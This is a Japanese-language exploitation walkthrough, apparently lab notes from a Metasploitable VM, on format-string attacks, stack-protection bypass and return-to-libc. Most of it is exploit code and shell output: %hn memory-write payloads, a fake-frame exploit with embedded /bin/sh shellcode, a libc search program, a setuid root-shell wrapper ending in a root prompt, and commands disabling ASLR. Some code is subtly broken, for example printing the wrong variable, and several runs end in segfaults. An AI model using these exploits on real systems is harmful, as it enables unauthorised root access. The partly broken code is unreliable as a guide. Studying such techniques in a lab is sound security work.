msfadmin@metasploitable:~$ ./fmtstr "AAAA %08x %08x %08x %08x %08x %08x %08x %s"
Segmentation fault
メモリを読み込みます.
現在のプロセスセグメントに存在するメモリの有効なアドレスを指定するだけで、任意のメモリ位置のデータを読み取ることができる.
// shell
#include
#include
int main(int argc, char *argv[]){
char * addr;
addr = getenv(argv[1]);
printf("%s is located at %p
", argv[1], addr);
}
msfadmin@metasploitable:~$ ./getenv SHELL
SHELL is located at 0xbffffeb1
// shell env | more
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %s"
Segmentation fault
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %s"
���� bffffe7f 00000000 b7fff668 bffffd84 b7fff800 (null)
Canary at 0x080496cc = 0x00000000
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %s"
Segmentation fault
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %08x %s"
���� bffffe75 00000000 b7fff668 bffffd74 b7fff800 00000000 00000003 /bin/bash
Canary at 0x080496cc = 0x00000000
直接パラメータアクセスの簡略化:
#include
main() {
printf("This is a %3$s.
", 1, 2, "test");
}
msfadmin@metasploitable:~$ ./dirpar
This is a test.
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`"%8\$s"
����/bin/bash
Canary at 0x080496cc = 0x00000000
フォーマット文字列エラーでprintfや他の印刷関数のフォーマットを指定し、1つのプログラムから任意のメモリを読み出すことができます.%xを使用して16進数値を印刷できます.
スタック内のパラメータの位置を検索.%s命令は、プログラムの指定位置の文字列値を見つけることができる.
任意のメモリを書き込みます.
msfadmin@metasploitable:~$ export SC=`cat sc`
msfadmin@metasploitable:~$ ./getenv SC
SC is located at 0xbfffff51
メモリに書き込み値を分割することができ、2つの上位バイトHOB:0 xbfff、2つの下位バイトLOB:0 xff 51、HOB
HOB
LOB
コメント
≪インスタンス|Instance|emdw≫
[addr+2][addr]
[addr+2][addr]
2番目の16ビットは
\xce\x96\x04\x08\xcc\x96\x04\x08
%.[HOB-8]x
%.[LOB-8]x
ポイントを使用して、整数が10進数であることを確認します.
0 xbfff-8の10進法は49143(bfff=49151-8)に等しいため、%.499143 x(ff 51=65361-8=65353)%.655353 xを表す
%[offset]$hn
%[offset+1]$hn
%8\$hn
%.[LOB-HOB]x
%.[HOB-LOB]x
ポイントを使用して、整数が10進数であることを確認します.
0 xff 51-0 xbfffの10進数=16210は%.16210 x
%[offset+1]$hn
%[offset]$hn
%9\$hn
0が多すぎます.切り取り:
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Canary at 0x080496cc = 0xbfffff51
msfadmin@metasploitable:~$ ./fmtstr `printf "\xce\x96\x04\x08\xcc\x96\x04\x08"`%.49143x%8\$hn%.16210x%9\$hn
変更プログラムの実行:
msfadmin@metasploitable:~$ nm ./fmtstr | head # EFL32
080495c4 d _DYNAMIC
08049698 d _GLOBAL_OFFSET_TABLE_
0804858c R _IO_stdin_used
w _Jv_RegisterClasses
080495b4 d __CTOR_END__
080495b0 d __CTOR_LIST__
080495bc d __DTOR_END__
080495b8 d __DTOR_LIST__
080485ac r __FRAME_END__
080495c0 d __JCR_END__
msfadmin@metasploitable:~$ objdump -s -j .comment ./fmtstr #
./fmtstr: file format elf32-i386
Contents of section .comment:
0000 00474343 3a202847 4e552920 342e322e .GCC: (GNU) 4.2.
0010 34202855 62756e74 7520342e 322e342d 4 (Ubuntu 4.2.4-
0020 31756275 6e747534 29000047 43433a20 1ubuntu4)..GCC:
0030 28474e55 2920342e 322e3420 28556275 (GNU) 4.2.4 (Ubu
0040 6e747520 342e322e 342d3175 62756e74 ntu 4.2.4-1ubunt
0050 75342900 00474343 3a202847 4e552920 u4)..GCC: (GNU)
0060 342e322e 34202855 62756e74 7520342e 4.2.4 (Ubuntu 4.
0070 322e342d 31756275 6e747534 29000047 2.4-1ubuntu4)..G
0080 43433a20 28474e55 2920342e 322e3420 CC: (GNU) 4.2.4
0090 28556275 6e747520 342e322e 342d3175 (Ubuntu 4.2.4-1u
00a0 62756e74 75342900 00474343 3a202847 buntu4)..GCC: (G
00b0 4e552920 342e322e 34202855 62756e74 NU) 4.2.4 (Ubunt
00c0 7520342e 322e342d 31756275 6e747534 u 4.2.4-1ubuntu4
00d0 29000047 43433a20 28474e55 2920342e )..GCC: (GNU) 4.
00e0 322e3420 28556275 6e747520 342e322e 2.4 (Ubuntu 4.2.
00f0 342d3175 62756e74 75342900 00474343 4-1ubuntu4)..GCC
0100 3a202847 4e552920 342e322e 34202855 : (GNU) 4.2.4 (U
0110 62756e74 7520342e 322e342d 31756275 buntu 4.2.4-1ubu
0120 6e747534 2900 ntu4).
CC++でfini_arrayバイトをバイナリで格納
#include
#include
#include
static int canary = 0;
static void checkCanary(void) __attribute__ ((destructor));
int main(int argc, char *argv[]){
char temp[2048];
strcpy(temp, argv[1]);
printf(temp);
printf("
");
}
void checkCanary(void){
printf("Canary at 0x%08x = 0x%08x
", &canary, canary);
}
msfadmin@metasploitable:~$ gcc -z execstack -o strfmt strfmt.c
msfadmin@metasploitable:~$ chmod u+s strfmt
msfadmin@metasploitable:~$ nm ./strfmt | grep -i fini
080484e0 T __libc_csu_fini
0804857c T _fini
メモリ保護メカニズム:
Libsafeはこれらの危険なlibc関数を書き換えることによって、境界と入力フィルタリングの実現を置き換え、スタックベースの攻撃の多くを除去した.
スタック保護を迂回する、ダミースタックフレーム技術を利用して、偽造のダミーアドレスにジャンプし、shellcodeを実現する.
#include
#include
#include
#include
#define VULN "./smallbuff"
#define SIZE 14
char shellcode[] =
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char **argv){
char p[SIZE];
char *env[] = { shellcode, NULL };
int *ptr, i, addr, addr_argc, addr_eip;
addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);
addr += 4;
addr_argc = addr;
addr_eip = addr_argc + 4;
fprintf(stderr, "[***] using fake argc address: %#010x
", addr_argc);
fprintf(stderr, "[***] using shellcode address: %#010x
", addr_eip);
shellcode[0] = (unsigned char)(addr_eip & 0x000000ff);
shellcode[1] = (unsigned char)((addr_eip & 0x0000ff00)>>8);
shellcode[2] = (unsigned char)((addr_eip & 0x00ff0000)>>16);
shellcode[3] = (unsigned char)((addr_eip & 0xff000000)>>24);
p[0] = "A";
p[1] = "A";
ptr = (int *)&p[2];
for (i = 2; i < SIZE; i += 4)
*ptr++ = addr;
*ptr = addr_eip;
execle(VULN, "smallbuff", p, NULL, env);
exit(1);
}
msfadmin@metasploitable:~$ chmod u+s exploit3
msfadmin@metasploitable:~$ ./exploit3
[***] using fake argc address: 0xbfffffb6
[***] using shellcode address: 0xbfffffba
gccはバージョン4.1から、SSPはGCCに統合され、デフォルトで使用されている.-fno-stack-protectorフラグを使用して無効にするには、-fstack-protector-allオプションを使用してすべての関数をスタック保護する.実行不可能スタックELFフラグGUN_STACK、-z execstackフラグを使用して無効にする.
カーネルパッチとスクリプト:
ASLRアドレス空間レイアウトのランダム化は、実行可能なイメージ\Brk()管理のスタック\ライブラリイメージ\Mmap()管理のスタック\ユーザスタック\カーネルスタック等をランダム化するものである.
ASLPのシステムはlibc関数アドレスを呼び出すことによってランダム化され、システムライブラリ関数に戻って脆弱性攻撃を実行することを防止するための高度な保護を実現した.
mmap()呼び出しはランダム化する実現され、system()や他の関数のアドレスを検索することはほとんど不可能となる.蛮力技術を用いてsystem()関数呼び出しを探すことは可能である.
Debian Ubuntuシステムはソフト接続echo 0>/proc/sys/kernel/randomize_va_space ASLP無効
Red Hatベースのシステムでecho 1>/proc/sys/kernel/exec-shield
echo 1>/proc/sys/kernel/exec-shield-randomize ASLP無効
Return to libcは、PaXやExecShieldのような実行不可能なスタックメモリ保護メカニズムを迂回します.
//
#include
int main(int argc, char *argv[]){
char buffer[7];
strcpy(buffer, argv[1]);
return 0;
}
msfadmin@metasploitable:~$ gcc -o vuln2 vuln2.c
msfadmin@metasploitable:~$ chmod u+s vuln2
msfadmin@metasploitable:~$ ls -l vuln2
-rwsr-xr-x 1 msfadmin msfadmin 6364 2018-09-06 04:12 vuln2
msfadmin@metasploitable:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2
Breakpoint 1, 0x08048382 in main ()
Current language: auto; currently asm
(gdb) p system
$1 = {} 0xb7ec2990
(gdb) q
バイナリ・コードの関数と文字列の位置を取得するには、次のコードを使用します.
#include
#include
#include
#include
#include
int step;
jmp_buf env;
void fault(){
if (step < 0){
longjmp(env, 1);
}else{
printf("Cat't find /bin/sh in libc, use env instead...
");
exit(1);
}
}
int main(int argc, char **argv){
void *handle;
int *sysaddr, *exitaddr;
long shell;
char examp[512];
char *args[3];
char *envs[1];
long *lp;
handle = dlopen(NULL, RTLD_LOCAL);
*(void **)(&sysaddr) = dlsym(handle, "system");
sysaddr += 4096;
printf("system() found at %08x
", exitaddr);
if (setjmp(env)){
step = 1;
}else{
step = -1;
}
shell = (int)sysaddr;
signal(SIGSEGV, fault);
do
while (memcmp((void *)shell, "/bin/sh", 8))
shell += step;
while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000) || !(shell & 0xff000000));
printf("\"/bin/sh\"found at %08x
", shell + 16384);
}
# system root
msfadmin@metasploitable:~$ ./search
system() found at 00000000
"/bin/sh"found at b7fb63ce
# system
msfadmin@metasploitable:~$ ./vuln2 `perl -e 'print "A"x19 ."\x00\x00\x00\x00","BBBB","\xce\x63\xfb\xb7"'`
Segmentation fault
ret 2 libcを使用して権限を保持するには、次の手順に従います.
#include
int main(){
setuid(0);
setgid(0);
system("/bin/sh");
}
#include
int main(){
execl("./wrapper", "./wrapper", 0);
}
msfadmin@metasploitable:~$ ls -l test_execl
-rwxr-xr-x 1 msfadmin msfadmin 6384 2018-09-06 04:30 test_execl
msfadmin@metasploitable:~$ sudo ./shellcode
root@metasploitable:/home/msfadmin# chown root.root test_execl
root@metasploitable:/home/msfadmin# ls -l test_execl
-rwxr-xr-x 1 root root 6384 Sep 6 04:30 test_execl
root@metasploitable:/home/msfadmin# chmod +s test_execl
root@metasploitable:/home/msfadmin# ls -l test_execl
-rwsr-sr-x 1 root root 6384 Sep 6 04:30 test_execl
root@metasploitable:/home/msfadmin# exit
exit
msfadmin@metasploitable:~$ ./test_execl
sh-3.2# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
sh-3.2# exit
exit
printfのアドレスを使用してEIPを書き換えます.
msfadmin@metasploitable:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2
Breakpoint 1, 0x08048382 in main ()
Current language: auto; currently asm
(gdb) p printf
$1 = {} 0xb7ed1330
(gdb) p execl
$2 = {} 0xb7f20360
msfadmin@metasploitable:~$ export FMTSTR="%3\$n"
msfadmin@metasploitable:~$ echo $FMTSTR
%3$n
msfadmin@metasploitable:~$ ./getenv FMTSTR
FMTSTR is located at 0xbffffef9
msfadmin@metasploitable:~$ echo $WRAPPER
./wrapper
msfadmin@metasploitable:~$ ./getenv WRAPPER
WRAPPER is located at 0xbffffef4
脆弱性バッファの場所を検索するには、次の手順に従います.
msfadmin@metasploitable:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2
Breakpoint 1, 0x08048382 in main ()
Current language: auto; currently asm
(gdb) disass main
Dump of assembler code for function main:
0x08048374 : lea 0x4(%esp),%ecx
0x08048378 : and $0xfffffff0,%esp
0x0804837b : pushl -0x4(%ecx)
0x0804837e : push %ebp
0x0804837f : mov %esp,%ebp
0x08048381 : push %ecx
0x08048382 : sub $0x24,%esp
0x08048385 : mov 0x4(%ecx),%eax
0x08048388 : add $0x4,%eax
0x0804838b : mov (%eax),%eax
0x0804838d : mov %eax,0x4(%esp)
0x08048391 : lea -0xb(%ebp),%eax
0x08048394 : mov %eax,(%esp)
0x08048397 : call 0x80482d8
0x0804839c : mov $0x0,%eax
0x080483a1 : add $0x24,%esp
0x080483a4 : pop %ecx
0x080483a5 : pop %ebp
0x080483a6 : lea -0x4(%ecx),%esp
0x080483a9 : ret
End of assembler dump.
(gdb) r `perl -e 'print "A"x64'`Quit
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/msfadmin/vuln2 `perl -e 'print "A"x64'`Quit # 4 60+4 = 64
Breakpoint 1, 0x08048382 in main ()
(gdb) p $esp
$1 = (void *) 0xbffffc64
(gdb) q
The program is running. Exit anyway? (y or n) y
脆弱性バッファの大きさがコンパイラで増加したパッド(0 x 24=36)を知って6番目のメモリのアドレスを算出:36+6*4=60=0 x 3 c
最後の位置に4バイト60+4=64バッファを入れる合計サイズは64
バッファの先頭が見つかれば、先に算出するオフセットに加算正しい目標位置が得られる.
0xbffffc64 + 0x24 = 0xbffffc88
./vuln2 `perl -e 'print "AAAA"x7 . "\x30\x13\xed\xb7" . "\x60\x03\xf2\xbf" . "\xf9\xfe\xff\xbf" . "\xf4\xfe\xff\xbf" . "\xf4\xfe\xff\xbf" . "\x88\xfc\xff\xbf"'`
Segmentation fault